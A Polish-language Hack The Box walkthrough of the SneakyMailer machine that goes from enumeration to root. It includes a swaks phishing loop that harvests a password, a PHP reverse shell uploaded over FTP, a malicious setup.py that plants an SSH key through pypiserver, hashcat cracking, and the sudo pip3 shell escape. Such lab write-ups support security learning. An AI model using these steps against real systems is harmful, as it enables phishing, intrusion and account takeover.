[HTB] SneakyMailer

Wstępna enumeracja & punkt zaczepienia

Jak zwykle enumearcję rozpoczynamy skanowaniem w poszukiwaniu otwartych portów:

sudo nmap -p- -A -sV -v -T5 -Pn -n -oN nmap/allports.nmap 10.10.10.197

Wynik:

Nmap scan report for 10.10.10.197
Host is up (0.064s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp open http nginx 1.14.2 
| http-methods: 
| Supported Methods: GET HEAD POST OPTIONS
|http-server-header: nginx/1.14.2 
|_http-title: Did not follow redirect to http://sneakycorp.htb 
143/tcp open imap Courier Imapd (released 2018) 
|_imap-capabilities: OK NAMESPACE completed UTF8=ACCEPTA0001 QUOTA THREAD=REFERENCES IDLE ACL2=UNION UIDPLUS CHILDREN THREAD=ORDEREDSUBJECT CAPABILITY ENABLE STARTTLS ACL IMAP4rev1 SORT 
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US 
| Subject Alternative Name: email:postmaster@example.com 
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US 
| Public Key type: rsa 
| Public Key bits: 3072 
| Signature Algorithm: sha256WithRSAEncryption 
| Not valid before: 2020-05-14T17:14:21 
| Not valid after: 2021-05-14T17:14:21 
| MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308 
|_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c |_ssl-date: TLS randomness does not represent time 
993/tcp open ssl/imap Courier Imapd (released 2018) 
|_imap-capabilities: OK NAMESPACE completed UTF8=ACCEPTA0001 QUOTA AUTH=PLAIN IDLE ACL2=UNION THREAD=REFERENCES CHILDREN ENABLE CAPABILITY THREAD=ORDEREDSUBJECT UIDPLUS ACL IMAP4rev1 SORT 
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US 
| Subject Alternative Name: email:postmaster@example.com 
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US 
| Public Key type: rsa 
| Public Key bits: 3072 
| Signature Algorithm: sha256WithRSAEncryption 
| Not valid before: 2020-05-14T17:14:21 
| Not valid after: 2021-05-14T17:14:21 
| MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308 
|_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c |_ssl-date: TLS randomness does not represent time 
2510/tcp filtered fjappmgrbulk 
5131/tcp filtered unknown 
8080/tcp open http nginx 1.14.2 
| http-methods: 
| Supported Methods: GET HEAD
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
27041/tcp filtered unknown
33747/tcp filtered unknown
54027/tcp filtered unknown
61221/tcp filtered unknown
62966/tcp filtered unknown
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 17.275 days (since Mon Aug 17 04:36:12 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 71.77 ms 10.10.14.1
2 71.89 ms 10.10.10.197

Skanowanie pokazało sporo możliwych wektorów do przeprowadzania ataków. Faktem godnym odnotowania jest to, że istnieje serwer pocztowy, dwa serwery webowe oraz serwer FTP.

Na początku skupiłem się na serwerach webowych. Po przejściu na stronę, od razu zostałem przekierowany na domenę sneakycorp.htb. Dodałem wpis do pliku /etc/hosts:

10.10.10.197 sneakycorp.htb

Następnie przeprowadziłem enumerację dostępnych ścieżek:

gobuster dir -u http://sneakycorp.htb -w /usr/share/wordlists/dirb/common.txt -s 200,301,302
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
[+] Url: http://sneakycorp.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
2020/09/03 12:18:12 Starting gobuster
/css (Status: 301)
/img (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
2020/09/03 12:18:51 Finished
gobuster dir -u http://10.10.10.197:8080/ -w /usr/share/wordlists/dirb/common.txt -s 200,301,302
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
[+] Url: http://10.10.10.197:8080/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,301,302
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
2020/09/03 12:20:29 Starting gobuster
/index.html (Status: 200)
2020/09/03 12:21:06 Finished

Jak do tej pory nic ciekawego nie znalazłem…..

Sprawdźmy czy występują jakieś poddomeny. Do tego wykorzystamy narzędzie ffuf. Pobrałem ffufa z githuba i zainstalowałem.

./ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://sneakycorp.htb/ -H "Host: FUZZ.sneakycorp.htb" -fs 185
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.2.0-git

:: Method : GET
:: URL : http://sneakycorp.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.sneakycorp.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 185

dev [Status: 200, Size: 13737, Words: 4007, Lines: 341]

Zatem mamy poddomenę dev. Dodajemy ją również do pliku /etc/hosts:

10.10.10.197 dev.sneakycorp.htb

Przechodząc na adres poddomeny, wydaje się być to kopia domeny sneakycorp.htb. Nic szczególnego, przechodzimy do dalszej enumeracji. Przechodząc na zakładkę TEAM, mamy bazę emaili. Wchodzę do źródła strony i kopiuję maile do pliku:

Następnie modyfikuję plik tak aby zostały mi tylko adresy e-mail:

cat page.txt | grep @ | cut -d ">" -f 2 | cut -d "<" -f 1 > mails.txt

Bingo mamy wszystkie adresy zapisane w pliku mails.txt.

Mając wszystkie maile danej korporacji oraz wiedząc, że jest dostępny serwer pocztowy, możemy przeprowadzić atak phishingowy.

Zapoznałem się z artykułem i naspisałem nastepujący skrypt:

#!/bin/bash
for i in $(cat mails.txt); do
swaks --to $i --from foo@sneakymailer.htb --header "Subject: Send reply to http://10.10.14.10" --body "Please give me your password!!!" --server 10.10.10.197
done

Skrypt rozsyła wiadomość o podanu hasła do wszystkich maili zapisanych w pliku mail.txt. Uruchomiłem skrypt i ustawiłem listenera:

$ ./script.sh
=== Trying 10.10.10.197:25…
=== Connected to 10.10.10.197.
<- 220 debian ESMTP Postfix (Debian/GNU) -> EHLO kali
<- 250-debian <- 250-PIPELINING <- 250-SIZE 10240000 <- 250-VRFY <- 250-ETRN <- 250-STARTTLS <- 250-ENHANCEDSTATUSCODES <- 250-8BITMIME <- 250-DSN <- 250-SMTPUTF8 <- 250 CHUNKING -> MAIL FROM:foo@sneakymailer.htb
<- 250 2.1.0 Ok -> RCPT TO:tigernixon@sneakymailer.htb
<- 250 2.1.5 Ok -> DATA
<- 354 End data with .
-> Date: Thu, 03 Sep 2020 12:52:07 +0200
-> To: tigernixon@sneakymailer.htb
-> From: foo@sneakymailer.htb
-> Subject: Send reply to http://10.10.14.10
-> Message-Id: <20200903125207.008004@kali>
-> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
->
-> Please give me your password!!!
->
->
-> .
<- 250 2.0.0 Ok: queued as 8D8462480A -> QUIT
<- 221 2.0.0 Bye

Po chwili dostałem odpowiedź:

$ sudo nc -nlvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:56550.
POST / HTTP/1.1
Host: 10.10.14.10
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Używając dekodera URL, zdekodowałem body odpowiedzi i uzykałem wartościowe informacje:

Wykorzystując phishing uzyskałem username oraz password jednego z użytkowników. Jednakże nie znalazłem żadnego zastosowania pozyskanych credentiali. Mając na uwadze to że port 143 oraz 993 (IMAP) jest otwarty, obejrzałem video ippseca, które znacząco popchnęło moje działania do przodu.

Zainstalowałem Evolution i odpowiednio skonfigurowałem zgodnie z video (przy konfiguracji użyłem powyżej pozyskanych danych). Okazało się, że na skrzynce paulbyrd@sneakymailer.htb w zakładce wysłane znajdują się dwie wiadomości:

Mamy kolejne credentaile. Wypróbowałem je logując się do FTP:

$ ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:mateusz): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Sep 03 04:50 dev

Mamy dostęp do ftp!!

Kolejnym krokiem, który wykonałem było uzyksanie reverse-shella poprzez osadzenie go na serwerze ftp:

ftp> put rev.php
local: rev.php remote: rev.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
78 bytes sent in 0.00 secs (906.8080 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 19:52 css
drwxr-xr-x 2 0 0 4096 May 26 19:52 img
-rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php
drwxr-xr-x 3 0 0 4096 May 26 19:52 js
drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi
--wxrw-rw- 1 1001 1001 78 Sep 03 04:49 rev.php
drwxr-xr-x 4 0 0 4096 May 26 19:52 scss
-rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php
drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor
226 Directory send OK.

I odwołanie się poprzez przeglądarkę:

http://dev.sneakycorp.htb/rev.php

W wyniku otrzymaliśmy zwrotne połączenie:

$ nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:46342.
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
04:53:29 up 11:12, 0 users, load average: 0.16, 0.10, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data

W taki oto sposób uzyskałem dostęp do maszyny jako www-data.

Uzyskanie uprawnień użytkownika

Po pierwsze zrobiłem spawning interkatywnego shella wykorzystując do tego pythona:

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@sneakymailer:/$

Następnie przelogowałem się na użytkownika developer, wcześniej uzyskanymi credentialami:

www-data@sneakymailer:/$ su developer
su developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
developer@sneakymailer:/$ id
id
uid=1001(developer) gid=1001(developer) groups=1001(developer)

Kolejnym krokiem było przerzucenie na maszynę skryptu enumerującego LinEnum oraz uruchomienie go. Skrypt pokazał ciekawe wynik:

[-] htpasswd found - could contain passwords:
/var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

Wykrył hash hasła, który przekopiowałem do pliku. Ponadto nazwa folderu (pypi.sneakycorp.htb) sugeruje kolejną poddomenę. Dodałem ją do pliku /etc/hosts na swoim Kalim. Następnie zająłem się próbą scracowania uzyskanego hasha:

Identyfikacja hasha:

Użycie narzędzia hashcat:

sudo hashcat -a 0 -m 1600 hash.txt /usr/share/wordlists/rockyou.txt --force

Wynik:

$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
Session……….: hashcat
Status………..: Cracked
Hash.Name……..: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target……: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started…..: Wed Sep 9 19:18:40 2020, (5 mins, 37 secs)
Time.Estimated…: Wed Sep 9 19:24:17 2020, (0 secs)
Guess.Base…….: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue……: 1/1 (100.00%)
Speed.#1………: 10751 H/s (11.50ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered……..: 1/1 (100.00%) Digests
Progress………: 3614720/14344385 (25.20%)
Rejected………: 0/3614720 (0.00%)
Restore.Point….: 3613696/14344385 (25.19%)
Restore.Sub.#1…: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidates.#1….: soul706 -> sotoba6

W taki oto sposób pozyksałem hasło użytkownika pypi.

W międzyczasie sprawdziłem także wszystkie aktywne połączenia sieciowe na maszynie SneakyMailer:

developer@sneakymailer:/$ netstat -tulnp
netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::25 :::* LISTEN -
tcp6 0 0 :::993 :::* LISTEN -
tcp6 0 0 :::143 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -

Aktywne połączenie na porcie 8080, sugeruje że na maszynie jest uruchomiony pypiserver. Niezwłocznie to sprawdziłem:

Moje przypuszczenia jak najbardziej potwierdziły się! Jednakże przez dłuższy czas nie wiedziałem jak zabrać się do dalszej eksplitacji. Postanowiłem utworzyć paczkę i wgrać ją na serwer i zobaczyć co się stanie. Zrobiłem to według tego poradnika.

Zamysłem ataku będzie nadpisanie klucza publicznego użytkownika low, własnym wcześniej utworzonym. Pozwoli nam to na uwierzytelnienie się poprzez protokół ssh kluczem prywatnym utworzonym na lokalnej maszynie.

Towrzę parę kluczy (publiczny i prywatny) na maszynie lokalnej:

ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""

Następnie tworzę dwa pliki:

setup.py (kopiuję wcześniej utworzony klucz publiczny do tego pliku):

import setuptools

try:
	print('hello')
	with open ('/home/low/.ssh/authorized_keys','a') as f:
		f.writelines('ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBgeE0MkRHFmQGADaqEEkqT4K9nnGqk4R8wihtkmtndt mateusz@kali')

except Exception as e:
	pass

setuptools.setup(
	name="olszi", # Replace with your own username
	version="0.0.1",
	author="Example Author",
	author_email="author@example.com",
	description="A small example package",
	long_description="",
	long_description_content_type="text/markdown",
	url="https://github.com/pypa/sampleproject",
	packages=setuptools.find_packages(),
	classifiers=[
		"Programming Language :: Python :: 3",
		"License :: OSI Approved :: MIT License",
		"Operating System :: OS Independent",
	],
)

.pypirc:

[distutils]
index-servers =
  pypi
  local

[pypi]
username:pypi
password:soufianeelhaoui

[local]
repository: http://pypi.sneakycorp.htb:8080/
username: pypi
password: soufianeelhaoui

Utworzyłem folder w katalogu /tmp na maszynie SneakyMailer oraz przenoszę tam utworzone wcześniej pliki. Zmieniłem uprawnienia pliku .pypirc:

developer@sneakymailer:/tmp/hello$ chmod 600 .pypirc
chmod 600 .pypirc

Ustawiłem zmienną środowiskową HOME na ścieżkę w której znajuduje się .pypirc, po to aby mógł zostać użyty do uruchomienia setup.py:

developer@sneakymailer:/tmp/hello$ chmod 777 setup.py
chmod 777 setup.py
developer@sneakymailer:/tmp/hello$ HOME=/tmp/hello
HOME=/tmp/hello

Oraz dokonałem uploadu:

developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
<n3 setup.py sdist register -r local upload -r local
hello
running sdist
running egg_info
creating olszi.egg-info
writing olszi.egg-info/PKG-INFO
writing dependency_links to olszi.egg-info/dependency_links.txt
writing top-level names to olszi.egg-info/top_level.txt
writing manifest file 'olszi.egg-info/SOURCES.txt'
reading manifest file 'olszi.egg-info/SOURCES.txt'
writing manifest file 'olszi.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
creating olszi-0.0.1
creating olszi-0.0.1/olszi.egg-info
copying files to olszi-0.0.1…
copying setup.py -> olszi-0.0.1
copying olszi.egg-info/PKG-INFO -> olszi-0.0.1/olszi.egg-info
copying olszi.egg-info/SOURCES.txt -> olszi-0.0.1/olszi.egg-info
copying olszi.egg-info/dependency_links.txt -> olszi-0.0.1/olszi.egg-info
copying olszi.egg-info/top_level.txt -> olszi-0.0.1/olszi.egg-info
Writing olszi-0.0.1/setup.cfg
creating dist
Creating tar archive
removing 'olszi-0.0.1' (and everything under it)
running register
Registering olszi to http://pypi.sneakycorp.htb:8080/
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/olszi-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080/
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)

Sprawdziłem w międzyczasie czy klucz publiczny użytkownika low nadpisał się:

developer@sneakymailer:~$ cat /home/low/.ssh/authorized_keys
cat /home/low/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBgeE0MkRHFmQGADaqEEkqT4K9nnGqk4R8wihtkmtndt mateusz@kalid

Klucz publiczny jest taki sam jak w naszym wcześniejszym skrypcie.

Spróbujmy zatem zalogować się poprzez ssh na użytkownika low, używając lokalnego klucza prywatnego:

mateusz@kali:~/HackTheBoxMachines/SneakyMailer$ ssh -i key low@10.10.10.197
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105
low@sneakymailer:~$ id;whoami
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
low

Uzyskałem dostęp do maszyny jako użytkownik low.

Uzyskanie uprawnień roota

Sprawdziłem czy użytkownik może wykonywać jakiekolwiek komendy na maszynie z uprawnieniami sudo:

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3

Bardzo cenna informacja. Możemy wykonać polecenie pip3 na maszynie jako root.

Na stronie GTFOBins znalazłem jak wykorzystać powyższy fakt by uzyskać uprawnienia roota:

Wykonałem powyższe polecenia w celu uzyskania uprawnień roota:

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.29sA1tqlKb
# id;whoami
uid=0(root) gid=0(root) groups=0(root)
root